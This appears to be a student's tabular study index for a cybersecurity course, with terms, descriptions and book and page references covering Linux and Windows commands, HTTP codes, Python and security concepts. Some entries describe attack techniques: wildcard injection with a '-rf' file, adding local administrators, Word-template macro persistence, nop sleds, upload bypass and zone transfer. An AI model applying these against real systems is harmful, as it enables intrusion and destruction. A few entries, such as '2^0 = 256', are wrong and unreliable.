| web servers (generic) | Apache and Nginx - use a folder as the 'web root'; that folder will contain the files needed to run the website. The folder should include an index file, named either index.html or index. Php: this is the file that is sent when a request is made to '/'. For example, if you visit https://www.google.com/ you will get the index page at the top level of the web root directory. | | 1 | | 234 |
| web servers (servers) | client requests, translates to storing and processing web pages, and delivering to clients, using HTTP | | 1 | | 330 |
| Web Servers analytics | How many connections are being received and potentially where they originate | | 1 | | 335 |
| Web Servers Analytics responses | **Informational Response:**  100 – Continue  **Success:**  200 – OK  202 – Accepted  **Redirection**  301 – Moved Permanently  **Client Errors:**  400 – Bad Request  401- Unauthorized  403 – Forbidden  404 - Not Found  408 – Request Timeout  **Server Errors:**  500 - internal server error  502 - Bad Gateway  503 - Service Unavailable  504 – Gateway timeout | | 1 | | 336 |
| Web Servers intro | Tim Bernes-Lee , 1990 webserver and www, CERN | | 1 | | 329 |
| Web servers’ permissions (Apache) | Adding www-data user to the server's administrator group will create an issue | |  | |  |
| Web Jacking attack |  | | 3 | | 242 |
| Website Attack Vectors | A unique way of utilizing multiple web-based attacks in order to compromise the intended victim | | 3 | | 286 |
| Website Scripting Languages | JavaScript PHP Python JAVA Perl ASP Ruby Go | | 1 | |  |
| Wget | Web gets - allows us to download files from the internet on the command line | | 1 | | 186 |
| wget (download) command | # cd ~/Downloads | | 3 | | 63 |
| Whaling | CEO fraud, attackers go after CEO's or officers of a company | | 2 | | 202 |
| what are web servers | LAMP - Linux Apache, MySQL, PHP | | 1 | | 330 |
| When a program runs on a computer, it temporarily loads code into memory that contains information about the program. The code is then deleted when the program is closed. | Process | |  | |  |
| WHERE command (Windows CLI) | used to locate files on a computer, searches current directory and any directories listed in PATH variable | | 3 | | 59 |
| Which (command Linux) | The 'which' command can show you where in your PATH a tool is installed. This is useful in resolving version or path confusion issues. | | 1 | | 175 |
| Which (environment variables) | $PATH allows us the freedom to just type "ls" instead of '/bin/ls' | | 2 | | 77 |
| While loops (python) | We give it a condition: as long as that condition is true, the while loop will keep running. | | 2 | | 76 |
| While loops (python) exit a loop | Using break to exit a loop | | 2 | | 23 |
| While loops (python) manipulating lists | example of manipulating lists in a while loop | | 2 | | 75 |
| Whitespace (python \n) Line break | spacebar, tab key and return create a different kind of whitespace, use \n for line breaks | | 2 | | 23 |
| Whitespace (python \t) Tabs | Use -t to tab in lists | | 3 | | 298 |
| whoami | prints the effective username of the current user | | 3 | | 80 |
| WHOIS | * The WHOIS system is responsible for keeping track of who is responsible for a domain name. * It is intended to provide contact details for the owners of a domain in cases of abuse or other circumstances. It's therefore also a good source of information to find out who owns what. * Problem is that it acts like a PO Box and all the contact details are provided. You can easily search for WHOIS information using the 'whois' command on Linux or on viewdns.info * It is possible to use a privacy service to hide your involvement with a domain. | | 3 | | 80 |
| Whois (blue team) | Use a privacy service to hide your involvement with domains, but BEST to establish clear ownership | | 3 | | 80 |
| Whois (red team) | WHOIS on Linux, WHOIS in reverse, WHOIS third party sites, WHOIS by IP address | | 1 | | 172 |
| wildcard (Linux commands) | If you want to match based on a partial name: find . -name "\*files" | | 3 | | 306 |
| Wildcard injection  Recursive -r parameter | Deletes all files and folders with using rm command | | 3 | | 261 |
| Wildcard Injection | Where you take advantage of a code but supplementing wildcards within the code there was a file called '-rf' in the folder, it was injected into the command as parameters and that told the 'rm' command it was to be recursive (-r) and not to ask for confirmation before deleting files (-f for force). Any program which can be used to execute terminal commands is a good target for the wildcard injection exploit. The wildcard injection exploit can target any program used to execute terminal commands. | | 3 | | 261 |
| Wildcard Injection  (priv esc) | Uses -rf as a file to delete contents of directories | | 3 | | 306 |
| Wildcard Injection  (priv esc) | ~/Desktop/wildcard$ ls file1 file2 folder1 folder2 -rf | | 1 | | 223 |
| Wildcards (search superpowers) | You don't know one of the words you need to search for. For this, you can use a wildcard operator | | 2 | | 297 |
| Window Privileges | **Administrator:** Allowed to do almost anything on the system.  **System:** not bound by any restrictions but it reserved for system services that are necessary for the operating system to function. On Windows, if a user executes a program while they are the 'Administrator' user, that program will not necessarily run with high privileges (except in older systems pre-Windows Vista). Instead, those privileges will be dropped to lower privileges unless the program needs higher privileges. | | 3 | | 272 |
| Windows | The earliest version of Microsoft Windows was simply a graphical shell added on top of the existing Microsoft DOS operating system | | 2 | | 261 |
| Windows Account types | Administrator, Standard, Child. | | 2 | | 281 |
| Windows Permissions  Access Control list (ACL) | Each file and folder an ACL, which stores who is allowed which level of access. | | 2 | | 293 |
| Windows CLI  More | Same as more in Linux The 'more' command is used to display the contents of a file one page at a time. | | 2 | | 311 |
| Windows accounts: Administrator | Has full control over the machine. | | 2 | | 281 |
| windows CLI | Command prompt | | 2 | | 272 |
| Windows CLI  Dir | Viewing directory contents. Doesn’t display hidden items | | 2 | | 303 |
| Windows CLI  dir /A | Viewing directory contents and displays hidden files | | 2 | | 303 |
| Windows CLI  User input | Is a type of user interface that allows users to interact with a computer or device by entering commands through a text-based interface. | | 2 | | 98 |
| Windows CLI  Net | This command is how to access files stored on the network. We can mount shared folders by using the 'net' command. This command manages almost all aspects of a network and its settings, including shares, print jobs, and users. Run net /? For a list of all the commands possible. To mount a network drive, you need to use 'net use' to view mounted shares, add a new share, or manage existing ones. | | 2 | | 315 |
| Windows CLI  Net localgroup | To add a group, you need to run: net localgroup Administrators /add <username> | | 2 | | 318 |
| Windows CLI  Net User | Window Command Line Prompt - You can view all user accounts currently on a machine by running net user. Adding a new user is as simple as running: net user /add <username> <password> To remove a user - net user /delete <username> To change user groups you must use net localgroup. | | 2 | | 317 |
| Windows CLI  net user ADD USER | net user /add <username> <password> | | 3 | | 316 |
| Windows CLI  net user REMOVE USER | net user /delete <username> | | 3 | | 317 |
| Windows CLI cd | Change directory. | | 2 | | 301 |
| Windows CLI  Changing Drives | If you wanted to change the drive from “C” to “D”: you should type “d” and hit enter. It will change to c;\Users\Users\Documents>D: … D:\> | | 2 | | 302 |
| Windows Command line – Net user | Display information about a user in a windows system.  Ex: net user kirk | |  | |  |
| Windows Command Line / Prompt | "Windows Command Processor", command shell or prompt, cmd.exe, Dos prompt (is not actually DOS). Start > cmd, opens as a standard user automatically (C:\Users\User>) right click for admin (C:\Windows\system32>). Most of the time it's used to automate tasks by running scripts or batch files, carry out administrative tasks, and troubleshoot and solve issues | | 2 | | 298 |
| Windows Command Line Networking |  | | 2 | | 314 |
| Windows Command Line User Management | net localgroup /? will get you more details on possible options when managing group membership this way. | | 2 | | 317 |
| Windows configuration utility that can be used by a local administrative user to create an account which requires the password to be reset upon first login. | Local Users Management Console | |  | |  |
| Windows database of setting for both the operating system and applications. | Registry | |  | |  |
| Windows Defender | Built in anti-virus solution in Windows 10, enabled by default, and update itself. Can be disabled, but windows will enable it after a period of time | | 2 | | 273 |
| Windows File Permissions | To manage this each file or folder has an Access Control List (ACL), deny will always override an allow. | | 2 | | 293 |
| Windows Firewall | Prevent unknown connections from coming into your computer from the internet | | 2 | | 273 |
| Windows Groups Administrators | Have full access to the computer, can access all files and make changes that affect all users, such as installing new software or changing system settings. The Administrator account is a default member of this group. | | 2 | | 287 |
| Windows Hidden Files | The 'hidden' attribute gets added, these files then no longer show up when viewing folders. translucent icon | | 2 | | 295 |
| Windows Hive |  | | 3 | | 124 |
| Windows IoT (Embedded) | Windows IoT (Internet of Things), formerly known as Windows Embedded is a version of Windows designed to be run on low power computers, such as those found in point-of-sale systems (tills), digital billboards, cash points. | | 2 | | 264 |
| Windows Local Users Management Console | Hit 'Start' and type 'lusrmgr.msc'. new user: right-clicking and selecting 'New User', more choices when creating account | | 2 | | 285 |
| Windows Log Files | To view the log files, we can use the Event Viewer. The Event Viewer can be accessed by going to the 'Windows' icon in the taskbar, and then typing 'event viewer'. | | 2 | | 277 |
| Windows Networking | Can network as soon as you connect, setup handled by DHCP | | 2 | | 268 |
| Windows on Mobile Devices | Current is version of Win 10 | | 2 | | 265 |
| Windows on Xbox | Heavily customized | | 2 | | 266 |
| Windows Permissions | ADMINISTRATOR: Is allowed to do nearly anything on the system, but there are still some things that this user is not allowed to do. This is normally the highest level of privilege a user can reach on a Windows system.  SYSTEM: The SYSTEM or Local System user is not bound by any restrictions, but normally a user cannot run as the 'SYSTEM' user. The 'SYSTEM' user is reserved for system services which are necessary for the operating system to function. | | 3 | | 272 |
| Windows Power Shell | Based on .NET, command line and scripting lang all in one. Start > type 'PowerShell' | | 2 | | 323 |
| Windows PowerShell Cmdlets | Not standalone executables, does 1 small thing then returns a .NET object, can't run outside PowerShell | | 2 | | 324 |
| Windows PowerShell Commands | Use a 'verb-noun' naming system, so each cmdlet name is made up of two parts: a verb (Get, Start, Stop) and a noun (Service, Process, Date). | | 2 | | 326 |
| Windows PowerShell ISE | Integrated Scripting Environment (ISE) allows you to write, test and run PowerShell scripts. It includes tab completion for commands and a search function to allow you to find commands if you're unsure of their name | | 2 | | 325 |
| Windows PowerShell Objects | Properties contain information about the object, The Methods allow us to manipulate the object (and the data it represents). | | 2 | | 330 |
| Windows registry | (see page) list of registry keys: HKCU,HKLM, Winlogon\userinit.exe | | 3 | | 307 |
| Windows Registry | Database of settings for both the operating system and for any applications which support storing data in the registry. Regedit | | 2 | | 275 |
| Windows Registry | Access with <regedit>, each node is called a key, each key has subkeys.  Root level keys are:  HKCR (HKEY\_CLASSES\_ROOT),  HKCU (HKEY\_CURRENT\_USER),  HKLM (HKEY\_LOCAL\_MACHINE),  HKU (HKEY\_USERS) | | 3 | | 123 |
| Windows Security Log | * It contains records of login/logout activity or other security-related events specified by the system's audit policy. * Auditing allows administrators to configure Windows to record operating system activity in the Security Log. * The Security Log is one of three logs viewable under Event Viewer. * Local Security Authority Subsystem Service writes events to the log. * The Security Log is one of the primary tools used by Administrators to detect and investigate attempted and successful unauthorized activity and to troubleshoot problems; Microsoft describes it as "Your Best and Last Defense". | |  | |  |
| Windows Server | Operating system designed to run on servers. It is set up to allow administrators to easily set up file sharing, email, and other such functionality. The reason Windows Server is so common in enterprise settings, however, is mostly down to Active Directory. | | 2 | | 263 |
| Windows server core | Windows server with stripped UI | | 2 | | 263 |
| windows start up folder | C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup | | 1 | | 251 |
| Windows User Accounts | Default: Admin, Guest, DefaultAccount all disabled by default, Account types: Admin (can make changes that effect all users), Standard (default - cannot affect other users), Child (parental controls) | | 2 | | 281 |
| Critical Security Controls Wireless Access Control | Track, control, prevent, and correct the security use of wireless local area networks, access points and wireless client systems. | | 3 | | 46 |
| Wireless Hub | Wireless hub can only broadcast data over radio waves | | 3 | | 136 |
| Wireshark | ip.addr - Lists packets with IP address of specified value.  ip.dst - Lists packets with destination IP address of specified value.  ip.src - Lists packets with source address IP of specified value.  tcp.port - Lists packets with TCP ports of specified value.  udp.port - Lists packets with UDP ports of specified value.  HTTP. Request - Filters all HTTP GET and POST requests.  HTTP. Response - Shows the responses to the HTTP requests, including the response codes.  dns - Sets a filter to display all packets that contain DNS data.  tcp contains - Displays all TCP packets that contain a string matching whatever is defined as. | | 3 | | 136 |
| Wireshark (network forensics) | Network packet analyzer, and it can be used to troubleshoot and analyze network traffic. | | 3 | | 136 |
| With | opening a file 'with open(<filename>) as file: | | 2 | | 113 |
| Wmic | The 'wmic' program can be used to list service paths and find the ones that are unquoted. 'wmic' stands for Windows Management Instrumentation Command. | | 3 | | 284 |
| wmic tool | to list services wmic service, get name,startname | | 3 | |  |
| Word macros | MS Office documents has a feature called macros, which allows code to be executed when the document is opened. A word doc that can host malware | | 3 | | 238 |
| Word Templates | If you can replace the template file with one containing macro-based malware, then that malware will run each and every time the user opens Word, or any document that they save from then on. Any documents that the user sends out will also be infected, and so this could lead to an attacker gaining access to other places too. There are a few downsides to this method: The target must have macro warnings disabled, otherwise this method will be incredibly obvious. Anyone the target sends documents could have macro warnings enabled and may alert them to a breach. This method works, but it is more commonly used by automated malware (worms) to keep spreading, rather than to maintain a presence on the network, because it is so detectable. | | 3 | | 315 |
| Wordlists | /usr/share/wordlists - 'Dirb' folder in the wordlists folder has wordlists for finding directories on web servers | | 3 | | 56 |
| Wordlists & CeWL (red team) | people who work in specialized industries are more likely to use passwords related to their work. | | 3 | | 76 |
| World Writable | Data in world-writable files can be modified and compromised by any user on the system. World writable files may also indicate an incorrectly written script or program that could potentially be the cause of a larger compromise to the system's integrity. | |  | |  |
| Write blocker | Is a piece of hardware that makes it possible to read from a drive but not write to it. | | 3 | | 120 |
| Writing Python Files | Options p. 114. | | 2 | | 113 |
| **X** |  | | 3 | | 241 |
| x command (gdb) | Displays the memory contents at a given address using the specified format | | 3 | | 241 |
| x-- | See c -maths. this line of code decrements the value of x by one | | b | |  |
| X-frame options | Make sure not to send the X-Frame-Options header in the HTML of the page inside meta tags. That won't work, and the browser will ignore it. Instead, you should make sure the web server itself sends the X-Frame-Options header in the HTTP response. | | 3 | | 168 |
| x/I (gdb) | Examines memory address of INSTRUCTION | | 3 | | 213 |
| xargs |  | | 1 | | 187 |
| Xbox | Heavily customized windows 10 | | 2 | | 266 |
| XSS | see cross site scripting | | b | |  |
| **Y** |  | | 3 | | 157 |
| Yara | Yara is a signature detection tool that has become the gold standard for detecting indicators of compromise by scanning a system and comparing the results with rules in its database. If it finds a match, it flags it to the user as a possible indicator of compromise. The power of Yara is that anyone can write rules for it quickly and easily, so a rather extensive rules list has been built up by the security community finding indicators of compromise for many different types of malwares. Yara is a static analysis tool - in other words, it looks at the contents of files. It doesn't run files to analyze their behavior; that is dynamic analysis. | | 3 | | 317 |
| Yara (Tool) | Yara scans and compares against rules in a database and flags user if a match is found STATIC ANALYSIS | | 1 | | 207 |
| yum | 'yum', which is a package manager found in 'Fedora' and Fedora-based distributions. The idea is similar to 'apt' except you don't need to update the sources list yourself. It gets updated automatically whenever you run a command that involves looking up sources. | | 1 | | 206 |
| Yum | $ sudo yum update - use yum install, yum update, yum remove etc. | |  | |  |
| Yum | sudo yum update(=apt upgrade) | | 1 | | 206 |
| **Z** |  | | 3 | | 86 |
| Zend escaper |  | | 3 | | 156 |
| zero day | Exploit that hasn't been reported to the company in question, so there is no way to patch it | | 3 | | 82 |
| zone transfer | to replicate DNS data across a number of DNS servers, or to back up DNS files | | 3 | | 82 |
| zone transfer | zone transfer lists all DNS records of a domain if it has been misconfigured to allow zone transfer | | 3 | | 82 |
| zone transfer (command) | # host -l myfakedomain.local 192.168.0.92 | | 3 | | 82 |
| zone transfer reconnaissance) | pull off a complete list of every DNS record for the domain in question | |  | |  |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Term** | **Description or Example** | B | Pg | | |
| x /x | $esp - examine as hex the ESP register |  |  | | |
| x /s - | examine as string |  |  | | |
| x /I | examine as instruction |  |  | | |
| **2^7 = 128** | Base 2 counting in binary | 1 | 48 | | |
| **2^6 = 64** | Base 2 counting in binary | 1 | 48 | | |
| **2^5 = 32** | Base 2 counting in binary | 1 | 48 | | |
| **2^4 = 16** | Base 2 counting in binary | 1 | 48 | | |
| **2^3 = 8** | Base 2 counting in binary | 1 | 48 | | |
| **2^2 = 4** | Base 2 counting in binary | 1 | 48 | | |
| **2^1 = 2** | Base 2 counting in binary | 1 | 48 | | |
| **2^0 = 256** | Base 2 counting in binary | 1 | 48 | | |
| **2^0 = 1** | Base 2 counting in binary | 1 | 48 | | |
| 192.168.0.0/16 | (192.168.0.0-192.168.255.255) | 1 | 267 | | |
| 172.16.0.0/12 | (172.16.0.0-172.31.255.255) | 1 | 267 | | |
| **10^4 = 10000** | Base 10 counting in denary | 1 | 47 | | |
| **10^3 = 1000** | Base 10 counting in denary | 1 | 47 | | |
| **10^2 = 100** | Base 10 counting in denary | 1 | 47 | | |
| **10^1 = 1** | Base 10 counting in denary | 1 | 47 | | |
| **10^0 = 1** | Base 10 counting in denary | 1 | 47 | | |
| **0-day** | undiscovered exploit | 3 | 87 | | |
| **$template (log servers)** | $template is the legacy approach. template(parameters) is the modern way. Both work however | 1 | 364 | | |
| **$PATH (environment variables)** | terminal will look in the first path if it can't find exec there, it will check every directory in the list | 1 | 146 | | |
| **$child\_items.Name** | Produces a list containing the name of each file in the folder this object represents | 2 | 330 | | |
| **$ sudo chmod u+s ./program** | This command means add **SUID** privileges (+s) to the user permissions (u) | 3 | 300 | | |
| **$ ls -l /home/** | user directories for every user other than root. home: the home folder contains the user directories for every user on the system (that a user can log into) with the exception of the root user | 1 | 130 | | |
| **$ (environment variables)** | $ denotes environment variables **$HOME** | 1 | 145 | | |
| **~ tilde character** | Shorthand for the home folder of the current user. | 1 | 125 | | |
| **<L** | Convert to little endian format | 3 | 239 | | |
| **%x** | hexadecimal | 2 | 164 | | |
| **%Windows%\Prefetch** | See also prefetch - show which applications have been started. Following the name of the application is an 8-character hash of the location where the file ran. Knowing the run location helps in looking for anomalous activity. | 2 | 125 | | |
| **%u** | unsigned int | 2 | 163 | | |
| **%s in C** | **says 'PLEASE INSERT A STRING HERE. Printf() WILL GRAB FIRST VARIABLE PASSED INTO IT & SUBSTITUTE** | 2 | 157 | | |
| **%s \*C\*** | says please insert string here. printf() will grab the first variable passed into it and substitute whatever it finds at that location. If this is a string it will print until a NULL byte | 2 | 158 | | |
| **%s** | string -it expects an array of characters that is terminated with a null byte which is hexadecimal 0x00 | 2 | 164 | | |
| **%p** | pointer value | 2 | 179 | | |
| **%lu** | unsigned long | 2 | 163 | | |
| **%ld** | long | 2 | 163 | | |
| **%hu** | unsigned short | 2 | 163 | | |
| **%hd** | short | 2 | 163 | | |
| **%d** | integer | 2 | 163 | | |
| **%c** | character | 2 | 164 | | |
| # values within an X-Frame option header in an HTTPS response | Deny, Same Origin, and Allow-FROM |
| # | This indicates the text after it, is a comment |
| &giac | Used to access the address of a variable in the C programming language. |
| **& (ampersand) C** | **& is used as address of a var** |  |  | | |
| \t | Tabspace |  | |  |
| **\n in c** | new line return | 2 | 157 | | |
| **\n** | \n indicates a newline | 3 | 216 | | |
| \\fileserver2\network\_tools\software$ | A hidden share on a remote host |
| \ | Exits a string |
| **/s'** | entire directory | 2 | 307 | | |
| **/R'** | to search in a specific folder even if not in PATH | 2 | 313 | | |
| **/quiet** | don't show the user any messages. | 3 |  | | |
| **/qn** | don't launch with a graphical user interface. | 3 |  | | |
| **/P'** | Prompt before deleting | 2 | 309 | | |
| **/i** | don't try to run as administrator, run as a normal user instead (this won't matter because of AlwaysInstallElevated). | 3 | 298 | | |
| **/home/userName/** | current user's home directory | b |  | | |
| **/Get-help** | The Get-Help cmdlet displays information about PowerShell concepts and commands, including cmdlets, functions, Common Information Model (CIM) commands, workflows, providers, aliases, and scripts. To get help for a PowerShell cmdlet, type Get-Help followed by the cmdlet name, such as: Get-Help Get-Process | 2 | 324 | | |
| **/etc/rc5.d/** | software that is configured to run at runlevel | 2 | 145 | | |
| **/etc/rc.local'** | file which can be edited to have software start at boot | 2 | 146 | | |
| **/ect/shadow** | File that password hashes are stored on modern Linux systems. | 2 | 199 | | |
| **/E'** | empty directory |  |  | | |
| **/?** | All options | 3 | 316 | | |
| **'nop' variable** | The nop instruction in assembly is an interesting one; it just means do nothing and move to the next instruction. A 'nop' sled. No matter where you point EIP inside those 'nop' instructions, execution will continue until it reaches the start of the shellcode. | 3 | 197 | | |
| **'.wll' file** | can host executable code, essentially a 'dll' (a dll is a dynamically linked library, a code repository that other external programs can access to run the code contained within). | 3 | 316 | | |
| **.reg** | export of a registry value is a .reg file | 2 |  | | |
| **.htaccess** | A '.htaccess' file can override configuration restricting uploads of certain file types. | 3 | 175 | | |
| **.dll** | DLL stands for dynamic-link library. A Microsoft Word adding is a custom '.dll' file. | 3 | 316 | | |
| **.deb file** | A .deb file is a package that was generated for the Debian distribution such as Ubuntu. These packages can be installed with a program called dpkg. | 1 | 207 | | |
| **.bashrc** | script file that’s executed when a user logs in. | 1 | 146 | | |
| **./configure** | This command will generate a makefile that is tune to the system that it is installed to. | 1 | 213 | | |
| **.' and '..' (hidden files)** | representations of the current directory and the directory one level above the current directory | 1 | 143 | | |
| **. /usr/share** | Kali wordlists and dictionary stored in /usr/share | 3 | 83 | | |
| -rwsr-xr-x 1 root root 44k May 7th 2014 /bin/ping | The program will be run with root permissions |
| **-rf** | can add '-rf' file to inject command with wildcard injection | 3 | 261 | | |
| # nmap -vv -sS -p- 10.10.1.1 | Red team would use this to Identifying open ports that could be used to compromise a host |
| **0xFF** | largest value two hex characters can make - 255 in denary | 1 | 61 | | |
| **0x** | Hexadecimal | 1 | 47 | | |
| **0d** | Denary | 1 | 47 | | |
| **0b11111111** | maximum value of 255 in denary | 1 | 61 | | |
| **0b** | Binary | 1 | 47 | | |
| **1 terabyte** | 1000 gigabytes | 1 | 44 | | |
| **1 tebibyte** | 1024 tebibyte | 1 | 45 | | |
| **1 megabyte** | 1000 kilobytes | 1 | 44 | | |
| **1 mebibyte** | 1024 kibibytes | 1 | 45 | | |
| **1 kilobyte** | 1000 bytes | 1 | 44 | | |
| **1 kibibyte** | 1024 bytes | 1 | 45 | | |
| **1 gigabyte** | 1000 megabytes | 1 | 44 | | |
| **1 gibibyte** | 1024 mebibytes | 1 | 45 | | |
| **1 byte** | 8 bits | 1 | 44 | | |
| **1** | 1 is a Boolean value = True | 3 | 341 | | |
| **\_GET['sting'] (Exploitation 1)** | Looks for ?string= in the URL bar and takes whatever it equals as the data input | 3 | 190 | | |
| 2nd\_phone\_number | This variable will cause python to produce an error. |
| **2>null** | hide error | 2 | 312 | | |
| **2** | background | 1 | 161 | | |
| -rw-rw-r-- 1 giac giac 4.0k Jun 26 11:46 | This file in the directory would consider suspicious. |
| **100** | Continue | 1 | 336 | | |
| **101** | Switching Protocols | 1 | 336 | | |
| **200** | Ok (connection successful) | 1 | 336 | | |
| **202** | Accepted - Received but have not yet done anything about it. | 1 | 336 | | |
| **220** | SMTP service ready | 1 | 378 | | |
| **250** | req. action taken | 1 | 378 | | |
| **301** | Redirection, Moved Permanently - Usually, the new URL is given in the response | 1 | 336 | | |
| **302** | resource moved | 1 | 237 | | |
| **304** | cached file | 1 | 237 | | |
| **400** | Bad Request - Invalid Syntax error | 1 | 336 | | |
| **401** | Unauthorized - You are not allowed into this site without logging in. Unauthenticated. | 1 | 336 | | |
| **403 forbidden (servers)** | Same as 401, but server knows client's identity. Not enough privilege | 1 | 337 | | |
| **404 not found (servers)** | Missing URL, misspelled, does not exist | 1 | 337 | | |
| **408 request timeout (servers)** | The server is shutting you down for idleness | 1 | 337 | | |
| **421** | service not available | 1 | 378 | | |
| **450** | req. command failed because users mailbox unavailable | 1 | 378 | | |
| **451** | command aborted due to error from recipient’s server | 1 | 378 | | |
| **452** | command aborted server insufficient storage | 1 | 378 | | |
| **500 internal server error (servers)** | Server has no idea what to do | 1 | 337 | | |
| **500** | syntax. Caused by interaction with antivirus and firewall | 1 | 378 | | |
| **501** | syntax error - invalid email address | 1 | 378 | | |
| **502 bad gateway (servers)** | issue with the servers connection | 1 | 337 | | |
| **503 service unavailable (servers)** | overloaded server | 1 | 337 | | |
| **504 gateway timeout (servers)** | server is too slow, bad connection | 1 | 338 | | |
| **550** | user mailbox unavailabe.no email address or SPAM | 1 | 378 | | |
| **551** | recipient not local to server. Gives forwarding address. Spam prevention | 1 | 378 | | |
| **552** | aborted. Senders mailbox full. Possible attack | 1 | 378 | | |
| **554** | delivery error. Mailbox disabled. Blacklisted IP or SPAM | 1 | 378 | | |